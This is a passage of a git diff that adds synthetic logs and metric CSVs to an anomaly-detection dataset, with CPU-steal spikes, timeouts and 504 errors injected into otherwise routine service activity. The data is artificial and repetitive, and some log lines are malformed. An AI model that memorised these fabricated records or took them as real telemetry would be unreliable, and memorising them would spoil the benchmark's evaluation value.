10:00:47 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:00:49 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:00:51 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:00:55 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:01 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:03 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:01:07 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:01:07 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:01:07 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:01:11 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:01:11 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:01:12 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:16 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:01:17 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:01:17 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:01:21 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:01:22 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:01:27 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:01:28 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:28 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:01:31 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:01:38 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:39 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:01:44 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:01:45 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:01:47 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:01:52 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:52 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:01:53 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:01:55 systemd[1]:Started Session 68 of user ubuntu. +Jul 02 10:02:01 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:02:03 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:02:07 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:02:08 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:02:14 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:02:16 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:02:17 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:02:23 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:02:25 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:02:25 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:02:27 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:02:30 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:02:33 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:02:39 WARN:product-service:Database query took 4.5s, exceeding threshold of 2s. +Jul 02 10:02:41 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:02:42 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:02:45 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:02:48 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:02:49 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:02:53 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:02:57 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:02:58 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:02:58 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:03:01 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:03:02 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:03:09 WARN:checkout-service:Request to payment-service timed out after 4000ms. +Jul 02 10:03:12 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:03:14 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:03:17 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:03:18 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:03:21 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:03:24 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:03:27 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:03:29 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:03:30 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:03:31 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:03:32 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:03:37 WARN:checkout-service:Request to payment-service timed out after 4000ms. +Jul 02 10:03:38 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:03:38 WARN:checkout-service:Request to payment-service timed out after 4000ms. +Jul 02 10:03:41 WARN:api-gateway:High application latency detected: 3500ms for /api/v1/data +Jul 02 10:03:42 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:03:44 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:03:46 WARN:checkout-service:Request to payment-service timed out after 4000ms. +Jul 02 10:03:47 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:03:50 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:03:52 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:03:54 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:03:57 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:03:59 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:04:03 WARN:product-service:Database query took 4.5s, exceeding threshold of 2s. +Jul 02 10:04:04 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:04:08 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:04:09 WARN:api-gateway:High application latency detected: 3500ms for /api/v1/data +Jul 02 10:04:10 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:04:18 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:04:18 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:04:19 WARN:api-gateway:High application latency detected: 3500ms for /api/v1/data +Jul 02 10:04:22 WARN:api-gateway:High application latency detected: 3500ms for /api/v1/data +Jul 02 10:04:26 WARN:checkout-service:Request to payment-service timed out after 4000ms. +Jul 02 10:04:28 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:04:29 WARN:checkout-service:Request to payment-service timed out after 4000ms. +Jul 02 10:04:31 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:04:35 WARN:user-service:Authentication check for user 'beta' took 3800ms. +Jul 02 10:04:37 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:43 ERROR:api-gateway:Upstream service 'user-service' unavailable, failing request. +Jul 02 10:04:43 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:43 WARN:product-service:Database query took 4.5s, exceeding threshold of 2s. +Jul 02 10:04:45 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:04:45 WARN:api-gateway:High application latency detected: 3500ms for /api/v1/data +Jul 02 10:04:46 WARN:api-gateway:High application latency detected: 3500ms for /api/v1/data +Jul 02 10:04:51 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:51 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:04:53 INFO:api-gateway:GET /api/v1/checkout HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:58 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:05:02 sshd[10234]:Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:05:03 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:05:05 CRON[21352]:(root) CMD ( /usr/local/bin/run_backup.sh ) +Jul 02 10:05:08 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:05:08 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:05:11 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:05:17 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:05:18 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:05:19 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:05:23 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:05:25 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:05:26 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:05:30 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:05:31 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:05:33 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:05:36 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:05:38 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:05:41 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:05:41 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:05:42 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:05:49 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:05:50 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:05:51 CRON[21352]:(root) CMD ( /usr/local/bin/run_backup.sh ) +Jul 02 10:05:54 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:05:59 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:06:02 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:06:03 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:06:03 systemd[1]:Started Session 67 of user ubuntu. +Jul 02 10:06:07 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:06:11 sshd[10234]:Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:06:12 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:06:12 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:06:15 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:06:19 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:06:23 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:06:23 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:06:23 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:06:27 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:06:33 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:06:38 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:06:40 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:06:40 sshd[10234]:Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:06:40 systemd[1]:Started Session 90 of user ubuntu. +Jul 02 10:06:46 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:06:51 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:06:56 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:06:58 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:07:01 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:07:05 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:07:08 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:07:10 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:07:11 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:07:14 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:07:15 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:07:16 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:07:22 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:07:23 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:07:29 INFO:user-service:User 'alex' logged in successfully. diff --git a/anom_dataset/scenario_5/anom_5_29.csv b/anom_dataset/scenario_5/anom_5_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..380927521ae5a5d51ca40b614448cffe7229b8d8 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,17.22,0.44,36.34,25.88,1.37,1.23 +2025-07-02T10:00:05Z,23.71,0.14,38.02,28.88,0.99,0.77 +2025-07-02T10:00:10Z,17.07,0.29,36.36,26.56,1.12,1.01 +2025-07-02T10:00:15Z,24.19,0.44,38.18,24.73,0.84,1.13 +2025-07-02T10:00:20Z,19.88,0.31,41.79,23.06,0.97,1.25 +2025-07-02T10:00:25Z,21.12,0.28,41.01,23.5,0.56,0.66 +2025-07-02T10:00:30Z,22.66,0.42,44.97,27.77,1.02,0.59 +2025-07-02T10:00:35Z,20.18,0.11,40.61,21.78,0.95,1.27 +2025-07-02T10:00:40Z,17.97,0.33,40.49,21.38,0.8,0.55 +2025-07-02T10:00:45Z,16.88,0.26,41.42,22.13,0.67,0.91 +2025-07-02T10:00:50Z,15.81,0.49,42.27,26.69,0.84,0.54 +2025-07-02T10:00:55Z,22.38,0.42,41.16,23.71,0.79,0.71 +2025-07-02T10:01:00Z,19.41,0.12,40.89,22.07,0.86,0.69 +2025-07-02T10:01:05Z,16.58,0.18,41.05,23.31,1.31,1.34 +2025-07-02T10:01:10Z,23.8,0.28,38.55,20.82,1.4,1.24 +2025-07-02T10:01:15Z,17.74,0.38,42.77,24.37,1.42,0.74 +2025-07-02T10:01:20Z,19.14,0.23,41.05,28.11,0.92,1.09 +2025-07-02T10:01:25Z,17.96,0.24,38.09,24.46,1.4,0.99 +2025-07-02T10:01:30Z,21.29,0.47,37.46,24.47,1.09,0.59 +2025-07-02T10:01:35Z,20.8,0.48,35.71,20.28,1.5,0.86 +2025-07-02T10:01:40Z,21.0,0.26,38.48,22.79,0.62,1.25 +2025-07-02T10:01:45Z,17.66,0.46,35.13,20.75,1.26,0.63 +2025-07-02T10:01:50Z,17.85,0.23,36.66,20.48,1.09,0.74 +2025-07-02T10:01:55Z,17.54,0.13,35.6,28.64,1.01,0.86 +2025-07-02T10:02:00Z,18.28,0.31,37.78,27.14,1.26,0.5 +2025-07-02T10:02:05Z,16.44,0.36,38.48,28.3,1.33,1.27 +2025-07-02T10:02:10Z,16.66,0.46,40.91,21.33,1.33,0.9 +2025-07-02T10:02:15Z,24.64,0.49,42.75,23.65,0.84,1.14 +2025-07-02T10:02:20Z,24.6,0.41,41.25,29.13,0.88,1.03 +2025-07-02T10:02:25Z,16.88,0.4,36.6,24.33,1.1,1.28 +2025-07-02T10:02:30Z,16.99,28.64,43.94,29.26,0.54,1.16 +2025-07-02T10:02:35Z,18.13,31.84,42.31,29.61,1.31,0.9 +2025-07-02T10:02:40Z,23.11,34.33,39.98,20.07,1.09,0.62 +2025-07-02T10:02:45Z,20.85,31.37,41.44,24.33,0.94,0.92 +2025-07-02T10:02:50Z,16.0,21.54,40.09,25.83,1.14,0.51 +2025-07-02T10:02:55Z,18.91,27.54,36.68,23.49,1.46,0.58 +2025-07-02T10:03:00Z,16.04,34.76,41.41,23.76,1.3,1.33 +2025-07-02T10:03:05Z,19.85,39.01,44.88,23.56,1.16,1.02 +2025-07-02T10:03:10Z,19.73,38.11,42.7,22.31,0.71,1.29 +2025-07-02T10:03:15Z,26.58,29.83,36.81,20.26,1.47,1.24 +2025-07-02T10:03:20Z,16.33,38.71,36.2,27.31,0.89,1.03 +2025-07-02T10:03:25Z,24.87,25.03,44.3,29.99,1.41,1.23 +2025-07-02T10:03:30Z,24.84,32.34,44.1,20.38,1.0,1.44 +2025-07-02T10:03:35Z,25.92,35.26,42.49,28.59,1.17,1.45 +2025-07-02T10:03:40Z,15.53,20.03,42.61,25.44,1.39,0.75 +2025-07-02T10:03:45Z,19.1,21.64,36.43,20.2,0.56,1.41 +2025-07-02T10:03:50Z,25.61,26.42,43.12,20.69,0.79,0.97 +2025-07-02T10:03:55Z,18.83,24.33,36.92,25.25,0.68,0.71 +2025-07-02T10:04:00Z,24.08,23.5,36.55,21.05,0.55,0.91 +2025-07-02T10:04:05Z,22.28,31.04,39.07,22.96,0.84,1.08 +2025-07-02T10:04:10Z,20.94,32.79,35.0,22.75,1.42,1.39 +2025-07-02T10:04:15Z,18.51,29.7,43.46,29.71,0.75,1.4 +2025-07-02T10:04:20Z,15.01,33.99,36.61,24.7,0.61,1.06 +2025-07-02T10:04:25Z,13.98,26.36,42.39,22.85,1.44,1.31 +2025-07-02T10:04:30Z,15.55,27.32,40.83,29.38,0.99,1.03 +2025-07-02T10:04:35Z,17.21,22.66,42.7,29.67,0.97,0.6 +2025-07-02T10:04:40Z,23.35,24.34,41.0,27.19,1.19,0.94 +2025-07-02T10:04:45Z,19.49,29.74,44.61,21.37,1.32,1.2 +2025-07-02T10:04:50Z,23.71,36.53,38.8,28.9,0.73,1.25 +2025-07-02T10:04:55Z,19.61,29.47,39.97,24.41,0.7,1.18 +2025-07-02T10:05:00Z,22.15,37.66,38.38,27.86,0.92,0.5 +2025-07-02T10:05:05Z,23.12,0.14,42.43,27.21,1.35,1.18 +2025-07-02T10:05:10Z,24.27,0.33,38.0,26.53,1.43,1.48 +2025-07-02T10:05:15Z,24.13,0.29,42.99,27.67,0.69,0.71 +2025-07-02T10:05:20Z,23.25,0.36,35.86,28.12,1.19,1.21 +2025-07-02T10:05:25Z,15.94,0.2,37.36,24.62,0.95,0.7 +2025-07-02T10:05:30Z,18.61,0.11,39.38,24.85,1.38,1.27 +2025-07-02T10:05:35Z,15.36,0.32,36.26,20.97,0.8,1.44 +2025-07-02T10:05:40Z,20.46,0.25,37.03,23.71,0.77,0.71 +2025-07-02T10:05:45Z,22.96,0.46,43.42,28.86,0.52,1.33 +2025-07-02T10:05:50Z,15.51,0.28,38.72,22.2,1.37,0.8 +2025-07-02T10:05:55Z,16.89,0.27,37.19,27.49,0.67,1.38 +2025-07-02T10:06:00Z,18.65,0.35,43.46,28.07,0.78,0.53 +2025-07-02T10:06:05Z,17.44,0.31,40.75,21.97,0.75,1.26 +2025-07-02T10:06:10Z,22.95,0.48,41.34,27.65,1.42,0.72 +2025-07-02T10:06:15Z,18.52,0.42,43.89,26.57,0.58,0.87 +2025-07-02T10:06:20Z,21.39,0.3,42.14,29.75,0.84,0.66 +2025-07-02T10:06:25Z,19.93,0.18,37.65,23.88,1.18,1.31 +2025-07-02T10:06:30Z,20.83,0.34,35.1,27.57,0.67,0.7 +2025-07-02T10:06:35Z,24.39,0.4,40.49,28.44,1.08,0.85 +2025-07-02T10:06:40Z,24.44,0.4,42.08,23.79,0.92,0.87 +2025-07-02T10:06:45Z,16.12,0.5,43.06,22.24,0.51,0.77 +2025-07-02T10:06:50Z,23.44,0.19,36.91,23.68,1.11,0.72 +2025-07-02T10:06:55Z,18.46,0.27,41.34,26.53,0.85,1.25 +2025-07-02T10:07:00Z,16.01,0.27,44.39,22.57,0.71,1.08 +2025-07-02T10:07:05Z,18.83,0.23,37.58,28.58,1.48,1.27 +2025-07-02T10:07:10Z,20.1,0.25,37.92,22.95,1.34,0.66 +2025-07-02T10:07:15Z,24.61,0.29,39.26,27.64,0.95,1.05 +2025-07-02T10:07:20Z,18.72,0.32,40.71,23.21,0.82,0.58 +2025-07-02T10:07:25Z,15.12,0.21,44.9,25.04,0.51,0.6 diff --git a/anom_dataset/scenario_5/anom_5_29.log b/anom_dataset/scenario_5/anom_5_29.log new file mode 100644 index 0000000000000000000000000000000000000000..405e98dbd27b3caaa78ca520903b4df31ae2fe13 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_29.log @@ -0,0 +1,52 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:00 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:00:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:25 systemd[1]: Starting Cleanup of Temporary Directories... +Jul 02 10:00:35 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:00:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:10 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:01:15 CRON[5512]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 10:01:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:45 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:20 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:02:35 app-server[4567]: WARN request to downstream_service timed out after 5000ms +Jul 02 10:02:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:45 app-server[4567]: WARN high latency detected for endpoint /api/data: 3500ms +Jul 02 10:02:55 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:02:55 app-server[4567]: ERROR failed to process batch job: upstream timeout +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:00 app-server[4567]: WARN request to downstream_service timed out after 5000ms +Jul 02 10:03:10 app-server[4567]: WARN high latency detected for endpoint /api/data: 3500ms +Jul 02 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:25 app-server[4567]: WARN request to downstream_service timed out after 5000ms +Jul 02 10:03:30 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:03:35 app-server[4567]: WARN high latency detected for endpoint /api/data: 3500ms +Jul 02 10:03:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:50 app-server[4567]: WARN request to downstream_service timed out after 5000ms +Jul 02 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:00 app-server[4567]: WARN high latency detected for endpoint /api/data: 3500ms +Jul 02 10:04:05 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:04:15 app-server[4567]: WARN request to downstream_service timed out after 5000ms +Jul 02 10:04:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:25 app-server[4567]: WARN high latency detected for endpoint /api/data: 3500ms +Jul 02 10:04:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:40 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:04:40 app-server[4567]: WARN request to downstream_service timed out after 5000ms +Jul 02 10:04:50 app-server[4567]: WARN high latency detected for endpoint /api/data: 3500ms +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:15 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:50 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:25 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:00 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 - +Jul 02 10:07:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:25 systemd[1]: Finished Daily apt upgrade and clean activities. diff --git a/anom_dataset/scenario_5/anom_5_3.csv b/anom_dataset/scenario_5/anom_5_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..f44b71a9ded697f1268484c85bea3524e86c6502 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal_time +2025-07-02T13:00:00Z,35.68,56.3,19.5,0.9,1.13,0.01 +2025-07-02T13:00:05Z,43.56,43.56,16.2,1.34,0.86,0.23 +2025-07-02T13:00:10Z,44.96,45.84,29.9,0.92,1.73,1.0 +2025-07-02T13:00:15Z,40.19,50.06,34.31,0.97,1.57,0.52 +2025-07-02T13:00:20Z,21.25,43.88,18.92,1.93,1.01,1.12 +2025-07-02T13:00:25Z,39.32,57.34,33.07,0.65,2.25,1.24 +2025-07-02T13:00:30Z,27.64,58.31,37.21,1.95,1.93,1.3 +2025-07-02T13:00:35Z,25.16,51.39,16.88,0.74,2.2,0.96 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+2025-07-02T13:06:40Z,38.99,54.34,24.17,1.66,1.99,1.03 +2025-07-02T13:06:45Z,37.44,45.38,17.13,0.66,1.18,0.4 +2025-07-02T13:06:50Z,31.26,47.77,25.1,1.53,2.44,0.77 +2025-07-02T13:06:55Z,28.64,56.46,19.81,1.53,1.04,1.12 +2025-07-02T13:07:00Z,27.88,42.57,19.36,1.36,1.36,0.53 +2025-07-02T13:07:05Z,28.7,44.61,35.92,1.61,2.29,1.05 +2025-07-02T13:07:10Z,37.91,43.34,25.11,1.52,0.9,0.91 +2025-07-02T13:07:15Z,43.19,46.2,36.64,1.43,1.64,0.02 +2025-07-02T13:07:20Z,34.36,42.58,28.59,1.94,1.02,1.12 +2025-07-02T13:07:25Z,30.94,50.96,25.7,0.6,2.23,0.14 diff --git a/anom_dataset/scenario_5/anom_5_3.log b/anom_dataset/scenario_5/anom_5_3.log new file mode 100644 index 0000000000000000000000000000000000000000..59ca709f47f6615df15df92d6f388b1223db4ae0 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_3.log @@ -0,0 +1,15 @@ +CRON[web-app-v1]: (root) CMD ( /usr/local/bin/backup.sh) +CRON[web-app-v2]: (root) CMD ( /usr/local/bin/backup.sh) +CRON[web-app-v3]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 13:00:55 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 13:03:00 web-app[4512]: WARN API call to user-database took 4655ms, exceeding the 2000ms threshold +Jul 02 13:03:10 web-app[4512]: ERROR upstream request timeout to user-database:5432 after 3 retries +Jul 02 13:03:15 kernel: [1395.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 443. Dropping request. +Jul 02 13:03:40 web-app[4512]: WARN API call to user-database took 4760ms, exceeding the 2000ms threshold +Jul 02 13:03:55 nginx[1150]: GET /api/v1/user-profile HTTP/1.1 504 Gateway Time-out +Jul 02 13:04:15 web-app[4512]: ERROR upstream request timeout to inventory-api:1345 after 3 retries +Jul 02 13:05:00 nginx[1150]: GET /api/v1/checkout HTTP/1.1 504 Gateway Time-out +Jul 02 13:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +kubelet[3102]: INFO routine sync completed for pod web-app-v1 +kubelet[3102]: INFO routine sync completed for pod web-app-v2 +sshd[web-app-v2]: session opened for user root by (uid=0) \ No newline at end of file diff --git a/anom_dataset/scenario_5/anom_5_30.csv b/anom_dataset/scenario_5/anom_5_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..f36ea2855dce19eaf2fffa27152c7959f3a6e1a5 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_30.csv @@ -0,0 +1,91 @@ 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10:01:15+00:00,24.35,0.11,39.36,25.8,0.65,0.86 +2025-07-02 10:01:20+00:00,19.78,0.29,35.61,20.31,1.14,1.09 +2025-07-02 10:01:25+00:00,16.69,0.32,40.69,21.25,0.83,0.78 +2025-07-02 10:01:30+00:00,18.77,0.24,36.54,23.6,0.89,0.97 +2025-07-02 10:01:35+00:00,20.44,0.45,35.92,21.33,1.04,0.81 +2025-07-02 10:01:40+00:00,20.88,0.41,38.49,23.22,0.96,1.25 +2025-07-02 10:01:45+00:00,15.01,0.29,38.03,23.64,0.71,1.16 +2025-07-02 10:01:50+00:00,22.46,0.38,38.23,23.64,1.11,1.39 +2025-07-02 10:01:55+00:00,22.45,0.15,44.61,22.74,0.96,0.83 +2025-07-02 10:02:00+00:00,16.65,0.23,38.76,27.5,1.28,0.88 +2025-07-02 10:02:05+00:00,15.33,0.34,39.6,24.8,1.4,0.7 +2025-07-02 